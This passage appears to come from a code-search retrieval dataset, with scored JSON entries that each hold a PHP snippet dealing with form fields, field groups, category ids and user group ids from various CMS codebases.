return $this->_extra_fs_values_collection;\n }", "title": "" }, { "docid": "acf0cc8816fb38a5b75acd05a54a28b4", "score": "0.53980976", "text": "abstract protected function getTableDataFields() : array;", "title": "" }, { "docid": "4fc168af18b9d6e7a4dbcb6f7060ce66", "score": "0.53949314", "text": "public function fieldsProvider()\n\t{\n\t\treturn array(\n\t\t\t\t[\"campoA\", \"valorA\"],\n\t\t\t\t[\"camp_B\", \"valorB\"],\n\t\t\t\t[\"campo3\", \"valorC\"]\n\t\t\t);\n\t}", "title": "" }, { "docid": "0e5dfe02e9a61fe498d606e277125031", "score": "0.5388409", "text": "public function get_field($query,$field)\n{\n $data = $this->query_single_data($query);\n return $data[$field];\n}", "title": "" }, { "docid": "f4ec81703cab4db9a43708d2c7aa793d", "score": "0.53883255", "text": "public function getBoostQueryFields();", "title": "" }, { "docid": "6127ef0c0c3055bb212327a99e665887", "score": "0.5375169", "text": "public function getFieldValue() : string;", "title": "" }, { "docid": "91f77a363f2c2628f98a9f004336df72", "score": "0.5374639", "text": "public function updateOriginalValues() {\n if (!$this->fields) {\n return;\n }\n foreach ($this->getPropertyDefinitions() as $name => $definition) {\n if (empty($definition['computed']) && !empty($this->fields[$name])) {\n foreach ($this->fields[$name] as $langcode => $field) {\n $this->values[$name][$langcode] = $field->getValue();\n }\n }\n }\n }", "title": "" }, { "docid": "b7fbfe144ca9c1d034bb7ebf8120f86a", "score": "0.53706104", "text": "public abstract function getFields();", "title": "" }, { "docid": "6cb75820bc84753bd2ce4da134aff871", "score": "0.536618", "text": "function getTableRelationValues($fields) {\n\t\t$foreign_values = array();\n\t\tforeach ((array) $fields as $fieldName) {\n\t\t\t$relation = $this->getTableRelation($fieldName);\n\t\t\t$foreign_class = Doctrine::getTable($relation['class']);\n\t\t \t$set = $foreign_class->createQuery()->select($relation['foreign_field']. \", \" . $relation['label_field'])->execute()->toArray();\n\t\t \t$temp_array = array();\n\t\t \tforeach ($set as $row) {\n\t\t \t\t$temp_array[$row[$relation['foreign_field']]] = $row[$relation['label_field']];\n\t\t \t}\n\t\t \t$foreign_values[$fieldName] = $temp_array;\n\t\t} \n\n\t\tif (count($foreign_values) == 1) {\n\t\t\treturn array_shift($foreign_values);\n\t\t} else {\n\t\t\treturn $foreign_values;\n\t\t}\n\t}", "title": "" }, { "docid": "508a50c9107b46ccb089e7e1d43295d5", "score": "0.53649443", "text": "function _fourD_analysis_goal_form_parts( $values=array() ) {\n // fourD_analysis_debug('_fourD_analysis_goal_form_parts; $form_id: ' .$form_id .', #id: '.$form['#id']. '; #type: ' . $form['type']['#value'] .'; FORM: '. print_r($form, TRUE) );\n \n $form = array();\n \n // fieldset\n $form['analysis'] = array(\n '#title' => t('Goal Analysis'),\n '#type' => 'fieldset',\n '#description' => t('Enter values for the various parameters. Explore the impact of ' .\n 'different values. Play around a get a feel for it.'),\n '#collapsible' => TRUE,\n '#collapsed' => FALSE,\n );\n \n $form['analysis']['goal_weight'] = array( // piggy back off the goal_weight from Ratings schema\n '#title' => t('Weight'),\n '#type' => 'textfield',\n '#field_suffix' => t('[0.0,1.0]'),\n '#size' => 4,\n // '#default_value'=> isset($values['goal_weight']) ? number_format($values['goal_weight'], 10) : '0.0',\n '#default_value' => _fourD_analysis_trim_decimal( $values['goal_weight'] ),\n '#weight' => 1,\n );\n \n return $form;\n}", "title": "" }, { "docid": "e6ac54e1a63145201cd83a0a1989873a", "score": "0.53599745", "text": "function fillness(){\n\t\t$total=0;\n\t\t$fill=0;\n\t\tforeach ($this->fields as $field){\n\t\t\tif ($field['type']=='subform'){\n\t\t\t\t$f=$field['subform']->fillness();\n\t\t\t\t$total+=$f['total'];\n\t\t\t\t$fill+=$f['fill'];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t$total++;\n\t\t\tif (!empty($field['value']))$fill++;\n\t\t}\n\t\treturn array('total'=>$total,'fill'=>$fill);\n\t}", "title": "" }, { "docid": "f4e0a428ce0b254d2e3858ce0886ac0f", "score": "0.5359485", "text": "public function checkFields() {\n\t\t// price\n\t\tif($this->price != null) {\n\t\t\t$this->price = splitNullValuesInObject($this->price);\n\t\t}\n\t\t\n\t\t// rawData\n\t\tif($this->rawData != null) {\n\t\t\t$this->rawData = splitNullValuesInObject($this->rawData);\n\t\t}\n\t}", "title": "" }, { "docid": "9ba0c7b6cfac0c5057262a72bdc5915c", "score": "0.53581756", "text": "public function getFields();", "title": "" }, { "docid": "9ba0c7b6cfac0c5057262a72bdc5915c", "score": "0.53581756", "text": "public function getFields();", "title": "" }, { "docid": "9ba0c7b6cfac0c5057262a72bdc5915c", "score": "0.53581756", "text": "public function getFields();", "title": "" }, { "docid": "9ba0c7b6cfac0c5057262a72bdc5915c", "score": "0.53581756", "text": "public function getFields();", "title": "" }, { "docid": "9ba0c7b6cfac0c5057262a72bdc5915c", "score": "0.53581756", "text": "public function getFields();", "title": "" }, { "docid": "9ba0c7b6cfac0c5057262a72bdc5915c", "score": "0.53581756", "text": "public function getFields();", "title": "" }, { "docid": "fb6445050766519b926c7a6dccbf9c95", "score": "0.535782", "text": "public function sum($field);", "title": "" }, { "docid": "e6148e271fce4ac3a0e8a3eaa93dedf1", "score": "0.53477675", "text": "public function doFldz()\n {\n $this->doFld();\n }", "title": "" }, { "docid": "db6b665c09dbc04cdae96296b8c3720a", "score": "0.5336422", "text": "public static function fields() {\n\t\tif ( F::$method == 'post' ) {\n\t\t\t$method = $_POST;\n\t\t} else {\n\t\t\t$method = $_GET;\n\t\t}\n\n\t\t$fields = func_get_args();\n\n\t\tforeach($fields as $field) {\n\t\t\tif ( array_key_exists($field, $method) ) {\n\t\t\t\tif ( $method[$field] != null ) {\n\t\t\t\t\tF::$fields[$field] = $method[$field];\n\t\t\t\t} else {\n\t\t\t\t\tF::$fields[$field] = '';\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tF::$fields[$field] = null;\n\t\t\t}\n\t\t}\n\t}", "title": "" } ]
373ce511b6e42ec5760d41f45446e7c9
Returns the field group ids corresponding to the passed cat ids
[ { "docid": "752cdc9926035646a2c06c5bb989e820", "score": "0.82810134", "text": "function getGroupIdsByCatId($cat_ids = null)\n {\n $group_ids = null;\n $cat_ids = is_array($cat_ids) ? implode(\",\",$cat_ids) : $cat_ids;\n\n # Get field group ids used for selected categories\n if($cat_ids != '')\n {\n $query = \"\n SELECT\n ListingType.groupid\n FROM\n #__jreviews_categories AS JreviewsCat\n LEFT JOIN\n #__jreviews_criteria AS ListingType ON ListingType.id = JreviewsCat.criteriaid\n WHERE\n JreviewsCat.`option` = 'com_content' AND JreviewsCat.id IN (\".$cat_ids.\")\n \";\n\n $group_ids = $this->PaidCoupon->query($query,'loadColumn');\n\n if(!empty($group_ids))\n {\n $group_ids = array_unique(explode(\",\",implode(\",\",array_filter($group_ids))));\n\n $group_ids = implode(\",\",$group_ids);\n }\n }\n return $group_ids;\n }", "title": "" } ]
[ { "docid": "bd0a29d4e080d4de939286e6115cc4bc", "score": "0.672754", "text": "public function getGroupIds();", "title": "" }, { "docid": "b41d8193b5a866992a266284061c2c5d", "score": "0.660863", "text": "function _get_cat_group_ids()\n\t{\n\t\t// -------------------------------------\n\t\t//\tGet channel ids\n\t\t// -------------------------------------\n\t\t//\tIt helps to have a channel to make\n\t\t//\tsense of the textual categories provided.\n\t\t//\tBy this point we already have determined\n\t\t//\tchannel ids, but we'll be cautious.\n\t\t// -------------------------------------\n\n\t\tif (($channel_ids = $this->sess('search', 'channel_ids')) === FALSE)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t// -------------------------------------\n\t\t//\tAlready fetched groups?\n\t\t// -------------------------------------\n\n\t\tif ($this->sess('cat_group_ids') === FALSE)\n\t\t{\n\t\t\t$sql\t= '/* Super Search fetch group ids */ SELECT group_id FROM exp_category_groups WHERE site_id IN ('.implode(',', ee()->db->escape_str(ee()->TMPL->site_ids)).')';\n\n\t\t\t$query\t= ee()->db->query($sql);\n\n\t\t\t$group_ids\t= array();\n\n\t\t\tforeach ($query->result_array() as $row)\n\t\t\t{\n\t\t\t\t$group_ids[$row['group_id']]\t= $row;\n\t\t\t}\n\n\t\t\t$this->sess['cat_group_ids']\t= $group_ids;\n\t\t}\n\n\t\t// -------------------------------------\n\t\t//\tLoop and return group ids\n\t\t// -------------------------------------\n\n\t\t$ids\t= array();\n\n\t\tforeach ($channel_ids as $id)\n\t\t{\n\t\t\tif (($gid = $this->_channels($id, 'cat_group')) !== FALSE)\n\t\t\t{\n\t\t\t\t$ids\t= array_merge($ids, explode('|', $gid));\n\t\t\t}\n\t\t}\n\n\t\tif (count($ids) == 0) return FALSE;\n\n\t\treturn $ids;\n\t}", "title": "" }, { "docid": "6fe67de59eae3a0d4599ff42c0067768", "score": "0.6223915", "text": "public function getCustomerGroupIds();", "title": "" }, { "docid": "e98560368b70ae78fa9fb771c86c39a3", "score": "0.6178116", "text": "function getCatGroupId($catid=null){\n $where = null;\n if($catid)\n $where = ' WHERE t.catid='.$catid;\n $query = 'SELECT t.groupid,c.title FROM #__tz_portfolio_categories AS t'\n .' LEFT JOIN #__categories AS c ON c.id=t.catid'\n .$where;\n $db = JFactory::getDbo();\n $db -> setQuery($query);\n if(!$db -> query()){\n var_dump($db -> getErrorMsg());\n die();\n }\n if($rows = $db -> loadObject()){\n return $rows;\n }\n\n return false;\n }", "title": "" }, { "docid": "fb113a43f1f46a57e9fd71343600ec49", "score": "0.6036363", "text": "public function getGroupIds() {\n return $this->attributes['group_ids'];\n }", "title": "" }, { "docid": "8c1ce8245fd9bdbad98ecc55a7d8e8b7", "score": "0.59370714", "text": "public function getGroupIds()\r\n {\r\n return array_reduce($this->getGroups(), function ($aGroupIds, $aRaw) {\r\n $aGroupIds[] = $aRaw['group_id'];\r\n return $aGroupIds;\r\n }, array());\r\n }", "title": "" }, { "docid": "6c6bbccb200e1ac93b7a47bd957d2e4d", "score": "0.58205384", "text": "function groupFields(&$fields){\n\t\t$app =& Dataface_Application::getInstance();\n\t\t$query =& $app->getQuery();\n\t\t\n\t\t// Take query parameters to set the collapsed config settings\n\t\t// for the groups.\n\t\tif ( isset($query['--collapsed']) ){\n\t\t\t$collapsed = explode(',',$query['--collapsed']);\n\t\t} else {\n\t\t\t$collapsed = array();\n\t\t}\n\t\t\n\t\tif ( isset($query['--expanded']) ){\n\t\t\t$expanded = explode(',', $query['--expanded']);\n\t\t} else {\n\t\t\t$expanded = array();\n\t\t}\n\t\t$groups = array();\n\t\t$groupOrders = array();\n\t\tforeach ( array_keys($fields) as $fieldname){\n\t\t\t$groupname = ( @$fields[$fieldname]['group'] ? $fields[$fieldname]['group'] : '__global__');\n\t\t\t$groups[$groupname][] =& $fields[$fieldname];\n\t\t\tif ( !isset($groupOrders[$groupname]) ){\n\t\t\t\t$table =& Dataface_Table::loadTable($fields[$fieldname]['tablename']);\n\t\t\t\t$grp =& $table->getFieldgroup($groupname);\n\t\t\t\tif ( in_array($groupname, $collapsed) ){\n\t\t\t\t\t$grp['collapsed'] = 1;\n\t\t\t\t}\n\t\t\t\tif ( in_array($groupname, $expanded) ){\n\t\t\t\t\t$grp['collapsed'] = 0;\n\t\t\t\t}\n\t\t\t\tif ( $grp ){\n\t\t\t\t\t$groupOrders[$groupname] = array( 'order'=>( (is_array($grp) and isset($grp['order'])) ? floatval($grp['order']) : 0));\n\t\t\t\t} else {\n\t\t\t\t\t$groupOrders[$groupname] = array('order'=>0);\n\t\t\t\t}\n\t\t\t\tunset($table);\n\t\t\t\tunset($grp);\n\t\t\t}\n\t\t}\n\t\t$groupOrders['__global__']['order'] = -1;\n\t\tuasort($groupOrders, array(&$this, '_compareGroups'));\n\t\tforeach ( array_keys($groupOrders) as $group){\n\t\t\t$groupOrders[$group] =& $groups[$group];\n\t\t}\n\t\treturn $groupOrders;\n\t}", "title": "" }, { "docid": "79f760067bb251d2f80eb59097ac5c2b", "score": "0.58017457", "text": "protected function getFieldsFor(/* string */$cat)\n {\n $fields = [];\n foreach ($this->fields as $k => $v) {\n if (strpos($v, $cat) !== false) {\n $fields[] = $k;\n }\n }\n\n return $fields;\n }", "title": "" }, { "docid": "bcdfed60673d3518dedadf0113ed1d00", "score": "0.57917845", "text": "public function getGroupIdList($id)\n {\n global $cfg;\n\n $res = array();\n\n $groups = $this->getGroupList($id);\n\n for ($i = 0; $i < sizeof($groups); $i++) {\n $res[$i] = $groups[$i]->group_id;\n }\n\n\n return $res;\n }", "title": "" }, { "docid": "d8a69e20d298b7cb97ab25bc39f3f01c", "score": "0.57830346", "text": "function get_field_groups() {\n\t\t\n\t\t// bail early if no parent\n\t\tif( !$this->have_field_groups() ) return false;\n\t\t\n\t\t\n\t\t// vars\n\t\t$field_groups = array();\n\t\t\n\t\t\n\t\t// append\n\t\tforeach( array_keys($this->groups) as $field_group_key ) {\n\t\t\t\n\t\t\t$field_groups[] = pdc_get_field_group( $field_group_key );\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\t// return\n\t\treturn $field_groups;\n\t\t\n\t}", "title": "" }, { "docid": "ff62dbc26b3cddb79e9f7cc8d4a2644d", "score": "0.5730093", "text": "function getGroups() {\r\n require $this->sRessourcesFile;\r\n if (in_array(\"groups\", $this->aSelectedFields)){\r\n $aParams['sSchemaFramework'] = array('value' => $this->aProperties['schema_framework'], 'type' => 'schema_name');\r\n $aParams['sSchemaVmap'] = array('value' => $this->aProperties['schema_vmap'], 'type' => 'schema_name');\r\n $aParams['printtemplate_id'] = array('value' => $this->aValues['my_vitis_id'], 'type' => 'number');\r\n $oPDOresult = $this->oConnection->oBd->executeWithParams($aSql['getPrintTemplateGroups'], $aParams);\r\n $sListGroupId = \"\";\r\n $aListGroupName = array();\r\n while($aLigne=$this->oConnection->oBd->ligneSuivante ($oPDOresult)) {\r\n if ($sListGroupId == \"\"){\r\n $sListGroupId = $aLigne[\"group_id\"];\r\n }else{\r\n $sListGroupId .= \"|\".$aLigne[\"group_id\"];\r\n }\r\n $aListGroupName[] = $aLigne[\"name\"];\r\n }\r\n $oPDOresult=$this->oConnection->oBd->fermeResultat();\r\n $this->aFields['groups'] = $sListGroupId;\r\n $this->aFields['groups_label'] = implode(',', $aListGroupName);\r\n }\r\n }", "title": "" }, { "docid": "b18a8c700bba8865a871fd5327eabcdf", "score": "0.57230335", "text": "protected function _getGroupIDs() \n {\n $groupTable = new Application_Model_DbTable_Groups;\n $myGroupIDs = $groupTable->getStaffGroups($this->uid);\n return array_unique($myGroupIDs);\n }", "title": "" }, { "docid": "d30e19501c70f5be19cea34d29ef06f7", "score": "0.5713919", "text": "function getGroupIdsByNode()\n {\n $nodes = array();\n $node_id = Sanitize::getVar($this->data,'node_id');\n $node_id = is_array($node_id) ? implode(\",\",$node_id) : $node_id;\n if(!empty($node_id))\n {\n $group_ids = explode(\",\",$this->getGroupIdsByCatId($node_id));\n\n if(!empty($group_ids))\n {\n foreach($group_ids AS $group_id)\n {\n $nodes[] = \"g\".$group_id;\n }\n }\n }\n return cmsFramework::jsonResponse($nodes);\n }", "title": "" }, { "docid": "15a8503ebddfcee6b2d86c4d4512f83a", "score": "0.5660047", "text": "function getGroupIDs() {\n $ids = array();\n $groups = $this->getUserGroups();\n //debugMessage($groups->toArray());\n foreach($groups as $thegroup) {\n $ids[] = $thegroup->getGroupID();\n }\n return $ids;\n }", "title": "" }, { "docid": "f174362a4fb52e0285b280e74c86fc13", "score": "0.5658759", "text": "function getCategoryIds(){\n\t\t$catids = array();\n\t\tif($this->_params->get('auto_category') && JRequest::getVar('option')=='com_k2'){\n\t\t\tif(JRequest::getVar('view')=='itemlist'){\n\t\t\t\t$catid = JRequest::getInt('id');\n\t\t\t\tif($catid) $catids = array($catid);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif(JRequest::getVar('view')=='item'){\n\t\t\t\t\t$db = JFactory::getDBO();\n\t\t\t\t\t$itemid = JRequest::getInt('id');\n\t\t\t\t\t$query = 'SELECT catid from #__k2_items where id='.$itemid;\n\t\t\t\t\t$db->setQuery($query);\n\t\t\t\t\t$catid = $db->loadResult();\n\t\t\t\t\tif($catid) $catids = array($catid);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(empty($catids)){\n\t\t\t$catids = $this->_params->get('k2_category', array());\n\t\t}\n\t\t\n\t\t//since 2.3.5\n\t\tif($this->_params->get('sub_categories', 0) && count($catids)){\n\t\t\t$db = JFactory::getDBO();\n\t\t\t$parents = $catids;\n\t\t\tforeach($parents as $c){\n\t\t\t\t$db->setQuery('SELECT id FROM #__k2_categories WHERE parent = ' . $c);\n\t\t\t\t$children = $db->loadColumn();\n\t\t\t\tif($children && count($children)){\n\t\t\t\t\t$catids = array_merge($catids, $children);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$catids = array_unique($catids);\n\t\t}\n\t\t$excluded = str_replace(' ', '', $this->_params->get('exclude_categories', ''));\n\t\tif($excluded){\n\t\t\t$excluded = explode(',', $excluded);\n\t\t\t\n\t\t\tif($excluded && count($excluded)){\n\t\t\t\t$catids = array_diff($catids, $excluded);\n\t\t\t}\n\t\t}\n\t\treturn $catids;\n\t}", "title": "" }, { "docid": "5b6aec795104eba7af148b414d9616d5", "score": "0.5657409", "text": "function groups_db_get_groupings($courseid) {\n if (!$courseid) {\n $groupingids = false;\n } else {\n $groupings = get_records('groups_courses_groupings', 'courseid ', \n $courseid, '', $fields='id, groupingid');\n\t\tif (!$groupings) {\n\t\t\t$groupingids = false;\n\t\t} else {\n\t // Put the results into an array\n\t $groupingids = array();\n\t foreach ($groupings as $grouping) {\n\t array_push($groupingids, $grouping->groupingid);\n\t }\n\t\t}\n }\n \n return $groupingids;\n}", "title": "" }, { "docid": "d499f75c31283b235eeda19c1948c54b", "score": "0.5649584", "text": "public function getFieldgroups() {\n\t\t$fieldgroups = $this->wire(new FieldgroupsArray());\n\t\tforeach($this->wire('fieldgroups') as $fieldgroup) {\n\t\t\tforeach($fieldgroup as $field) {\n\t\t\t\tif($field->id == $this->id) {\n\t\t\t\t\t$fieldgroups->add($fieldgroup); \n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $fieldgroups; \n\t}", "title": "" }, { "docid": "33676e155ad5a38fa7c746a17322a20c", "score": "0.5638757", "text": "function groups_db_get_groups_in_grouping($groupingid) {\n if (!$groupingid) {\n $groupid = false;\n } else {\n\n $groups = get_records('groups_groupings_groups', 'groupingid ', \n $groupingid, '', $fields='id, groupid');\n if (!$groups) {\n\t\t\t$groupids = false;\n\t\t} else {\n\t\t\t// Put the results into an array\n\t\t\t$groupids = array();\n\t\t\tforeach ($groups as $group) {\n\t\t\t\tarray_push($groupids, $group->groupid);\n\t\t\t}\n\t\t}\n }\n \n return $groupids;\n}", "title": "" }, { "docid": "e59b230438cbd89fbb5e7e4eeddaf5d8", "score": "0.5633583", "text": "public function getGroupIds()\n {\n $groups = $this->groups;\n\n $groupIds = [];\n if (\\count($groups) > 0) {\n /* @var $group GroupInterface */\n foreach ($groups as $group) {\n $groupIds[] = $group->getId();\n }\n }\n\n return $groupIds;\n }", "title": "" }, { "docid": "5650c0f59caae9877ae843bcf4ca900f", "score": "0.5625794", "text": "public static function getGroupIds(EntityInterface $entity, $group_type_id = NULL, $group_bundle = NULL) {\n // This does not work for user entities.\n if ($entity->getEntityTypeId() === 'user') {\n throw new \\InvalidArgumentException('\\Drupal\\og\\Og::getGroupIds() cannot be used for user entities. Use \\Drupal\\og\\Og::getUserGroups() instead.');\n }\n\n $identifier = [\n __METHOD__,\n $entity->id(),\n $group_type_id,\n $group_bundle,\n ];\n\n $identifier = implode(':', $identifier);\n\n if (isset(static::$cache[$identifier])) {\n // Return cached values.\n return static::$cache[$identifier];\n }\n\n $group_ids = [];\n\n $fields = OgGroupAudienceHelper::getAllGroupAudienceFields($entity->getEntityTypeId(), $entity->bundle(), $group_type_id, $group_bundle);\n foreach ($fields as $field) {\n $target_type = $field->getFieldStorageDefinition()->getSetting('target_type');\n\n // Optionally filter by group type.\n if (!empty($group_type_id) && $group_type_id !== $target_type) {\n continue;\n }\n\n // Compile a list of group target IDs.\n $target_ids = array_map(function ($value) {\n return $value['target_id'];\n }, $entity->get($field->getName())->getValue());\n\n if (empty($target_ids)) {\n continue;\n }\n\n // Query the database to get the actual list of groups. The target IDs may\n // contain groups that no longer exist. Entity reference doesn't clean up\n // orphaned target IDs.\n $entity_type = \\Drupal::entityTypeManager()->getDefinition($target_type);\n $query = \\Drupal::entityQuery($target_type)\n ->condition($entity_type->getKey('id'), $target_ids, 'IN');\n\n // Optionally filter by group bundle.\n if (!empty($group_bundle)) {\n $query->condition($entity_type->getKey('bundle'), $group_bundle);\n }\n\n $group_ids = NestedArray::mergeDeep($group_ids, [$target_type => $query->execute()]);\n }\n\n static::$cache[$identifier] = $group_ids;\n\n return $group_ids;\n }", "title": "" }, { "docid": "e540e2993bccf89acecdf73edd705201", "score": "0.56228846", "text": "function getMultiselectGroupIds(array $groupids, array $subgroupids) {\n\t$db_groups = $subgroupids\n\t\t? API::HostGroup()->get([\n\t\t\t'output' => ['groupid', 'name'],\n\t\t\t'groupids' => $subgroupids\n\t\t])\n\t\t: [];\n\n\t$groupids = array_fill_keys($groupids, true);\n\n\tforeach ($db_groups as $db_group) {\n\t\t$groupids[$db_group['groupid']] = true;\n\n\t\t$db_child_groups = API::HostGroup()->get([\n\t\t\t'output' => ['groupid'],\n\t\t\t'search' => ['name' => $db_group['name'].'/'],\n\t\t\t'startSearch' => true\n\t\t]);\n\n\t\tforeach ($db_child_groups as $db_child_group) {\n\t\t\t$groupids[$db_child_group['groupid']] = true;\n\t\t}\n\t}\n\n\treturn array_keys($groupids);\n}", "title": "" }, { "docid": "e15747f7c089b3bcd9c3eb598d9e0a0d", "score": "0.56150067", "text": "public function getGroupInfo($group_ids) {\n $final_result = array();\n //get all groups info by ids\n $qb = $this->createQueryBuilder();\n $results = $qb->field('id')->in($group_ids)\n ->getQuery()\n ->execute()\n ->toArray(false);\n\n //making the key value array.\n foreach ($results as $result) {\n $final_result[$result->getId()] = $result;\n }\n return $final_result;\n }", "title": "" }, { "docid": "aafe4c76eef8984d681f90257b80de87", "score": "0.5608747", "text": "protected function getDocumentIdGroups() {\n $groups = $this->pageAccessRootline->getGroups();\n $groups = tx_solr_access_Rootline::cleanGroupArray($groups);\n\n if (empty($groups)) {\n $groups[] = 0;\n }\n\n $groups = implode(',', $groups);\n\n return $groups;\n }", "title": "" }, { "docid": "118d6ae37f25faa00baad0755cc772d3", "score": "0.55739236", "text": "public function getCustomerGroupIds()\n {\n if (!$this->hasCustomerGroupIds()) {\n $customerGroupIds = $this->ruleResourceModel->getCustomerGroupIds($this->getId());\n $this->setData('customer_group_ids', (array)$customerGroupIds);\n }\n return $this->_getData('customer_group_ids');\n }", "title": "" }, { "docid": "b0f78acb1b3f83510a932b281d9fe429", "score": "0.5560801", "text": "public function getData_FieldsGroups() {\n if ($this->fieldsGroups === null) {\n $articleTableId = $this->getData_ArticleTableId();\n if ($articleTableId !== null) {\n $this->fieldsGroups = $this->db->fetch_col(\"SELECT ID_FIELD_GROUP FROM `field_group` WHERE FK_TABLE_DEF=\".$articleTableId);\n } else {\n $this->fieldsGroups = array();\n }\n $this->fieldsGroups[] = null;\n if ($this->getData_FieldsSystemGroups() !== null) {\n foreach ($this->fieldsSystemGroups as $groupIndex => $groupFields) {\n $this->fieldsGroups[] = $groupIndex;\n }\n }\n }\n return $this->fieldsGroups;\n }", "title": "" }, { "docid": "d8b43525e0dbf74a8734dff388480839", "score": "0.5541821", "text": "public function group($fld) {\r\n\t\tif (is_null($fld)) {\r\n\t\t\t$this->_groups = array();\r\n\t\t} else {\r\n\t\t\tif(is_array($fld)){\r\n\t\t\t\t$parts = $fld;\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\t$parts = explode(',', $fld);\r\n\t\t\t}\r\n\t\t\tforeach ($parts as $p) {\r\n\t\t\t\tarray_push($this->_groups, trim($p));\r\n\t\t\t}\r\n\t\t}\r\n\t\t$this->_dirty = true;\r\n\t}", "title": "" }, { "docid": "27e9eea5295a47b0acc6a747a42537dd", "score": "0.553878", "text": "private function getAllCategoryFacetIds()\n {\n $query = $this->connection->createQueryBuilder();\n $query->select('id');\n $query->from('s_search_custom_facet', 'customFacet');\n $query->andWhere('customFacet.display_in_categories = 1');\n $query->addOrderBy('customFacet.position', 'ASC');\n\n return $query->execute()->fetchAll(PDO::FETCH_COLUMN);\n }", "title": "" }, { "docid": "528ffc37ff9917bc178210ea7abb490c", "score": "0.5533755", "text": "function get_record_groups($id)\n {\n $result = parent::get_record_groups($id);\n\n if ($this->id_belongs_to_fast($id)) {\n $result[$this->all_members_group_id] = $this->labels['all_members'];\n }\n\n return $result;\n }", "title": "" }, { "docid": "0cae7f81fcbddca3cdd0573beb99670f", "score": "0.5521301", "text": "function groups_get_all_groups($courseid, $userid=0, $groupingid=0, $fields='g.*') {\n global $CFG, $DB;\n\n // Groupings are ignored when not enabled.\n if (empty($CFG->enablegroupings)) {\n $groupingid = 0;\n }\n\n if (empty($userid)) {\n $userfrom = \"\";\n $userwhere = \"\";\n\n } else if (is_array($userid)) {\n $userids = implode(',', $userid);\n $userfrom = \", {groups_members} gm\";\n $userwhere = \"AND g.id = gm.groupid AND gm.userid IN ($userids)\";\n\n } else {\n $userfrom = \", {groups_members} gm\";\n $userwhere = \"AND g.id = gm.groupid AND gm.userid = '$userid'\";\n }\n\n if (!empty($groupingid)) {\n $groupingfrom = \", {groupings_groups} gg\";\n $groupingwhere = \"AND g.id = gg.groupid AND gg.groupingid = '$groupingid'\";\n } else {\n $groupingfrom = \"\";\n $groupingwhere = \"\";\n }\n\n return $DB->get_records_sql(\"SELECT $fields\n FROM {groups} g $userfrom $groupingfrom\n WHERE g.courseid = $courseid $userwhere $groupingwhere\n ORDER BY name ASC\");\n }", "title": "" }, { "docid": "b59588d41a09830ecbcf59d069dc325c", "score": "0.549069", "text": "function groups_db_get_groupings_for_group($groupid) {\n\tif (!$groupid) {\n\t\t$groupingids = false;\n\t} else {\n\t\t$groupings = get_records('groups_groupings_groups', 'groupid ', \n\t\t $groupid, '', $fields='id, groupingid');\n\t\tif (!$groupings) {\n\t\t\t\t$groupingids = false;\n\t\t} else {\n\t\t\t// Put the results into an array\n\t $groupingids = array();\n\t foreach ($groupings as $grouping) {\n\t array_push($groupingids, $grouping->groupingid);\n\t }\n\t\t} \n\t}\n\t\n\treturn $groupingids;\n}", "title": "" }, { "docid": "53428f56eb3822969cf150937b52a678", "score": "0.5446131", "text": "static public function getGroupNames(){\n if (empty(self::$_field)) {\n self::$_field = self::getField();\n }\n \n if (isset(self::$_field['groups'])) {\n if (is_array(self::$_field['groups']) && !empty(self::$_field['groups'])) {\n return self::$_field['groups'];\n }\n } \n }", "title": "" }, { "docid": "2fad12acd07fc530881fdbadf575ef61", "score": "0.543513", "text": "public function getGroupIds(){\n // Fetch from database, if not set\n if (!isset($this->_groups)){ \n $link_table = Database::getSchemaTable('group_user')->name;\n $result = Capsule::table($link_table)->select(\"group_id\")->where(\"user_id\", $this->id)->get();\n \n $this->_groups = [];\n foreach ($result as $group){\n $this->_groups[] = $group['group_id'];\n } \n }\n \n return $this->_groups;\n }", "title": "" }, { "docid": "3211b830db9e81e264d4b50b5cc5eb3d", "score": "0.5431833", "text": "function getGroups() {}", "title": "" }, { "docid": "e64b81f2c7b25eaebcbe1671e71b9b7a", "score": "0.5419745", "text": "function get_category_and($cat_name) {\n $categories = get_categories();\n $slugCats = array();\n\n foreach($categories as $cat) {\n $slugCats[$cat->slug] = $cat;\n }\n\n $cat_name_array = explode(',' , $cat_name);\n $cat_id_array = array();\n\n foreach($cat_name_array as $cat) {\n $cat_id_array[] = $slugCats[$cat]->cat_ID; \n }\n\n return $cat_id_array;\n}", "title": "" }, { "docid": "e4de79e842960006996cff8b07ca59e7", "score": "0.5397171", "text": "private function get_groups_keys_array(){\n $current_groups = acf_get_field_groups();\n $groups_keys_array = array();\n\n //make an array of keys to search what's loaded\n if( is_array( $current_groups ) && !empty( $current_groups ) ){\n foreach( $current_groups as $a_current_group ){\n $groups_keys_array[] = $a_current_group['key'];\n }\n }\n\n return $groups_keys_array;\n }", "title": "" }, { "docid": "627e002539c16d0a384cd4dad1c0a382", "score": "0.53940934", "text": "public function getGroupIDs() {\n\t\tif ($this->groupIDs === null) {\n\t\t\t$this->groupIDs = array();\n\t\t\t\n\t\t\tif (!$this->userID) {\n\t\t\t\t// user is a guest\n\t\t\t\t// use default guest group\n\t\t\t\t$this->groupIDs[] = Group::getGroupIdByType(Group::GUESTS);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$sql = \"SELECT \t\tgroupID \n\t\t\t\t\tFROM \t\twcf\".WCF_N.\"_user_to_groups\n\t\t\t\t\tWHERE \t\tuserID = \".$this->userID.\"\n\t\t\t\t\tORDER BY\tgroupID\";\n\t\t\t\t$result = WCF::getDB()->sendQuery($sql);\n\t\t\t\twhile ($row = WCF::getDB()->fetchArray($result)) {\n\t\t\t\t\t$this->groupIDs[] = $row['groupID'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $this->groupIDs;\n\t}", "title": "" }, { "docid": "b501f67fae59591d067fe98decceda85", "score": "0.5393032", "text": "public function getChildGroupsIds(): array {\n return $this->getChildGroups()->map(\n function(Group $group) {\n return $group->getId();\n }\n )->getValues();\n }", "title": "" }, { "docid": "55cacdfc39fec272fba3e1dfe57fad20", "score": "0.53900474", "text": "abstract public function getParentGroupIds(): array;", "title": "" }, { "docid": "88e593ed294917fd80b6a97dc6d10341", "score": "0.53582525", "text": "function getListingIds($customerId) {\n $sql = \"SELECT 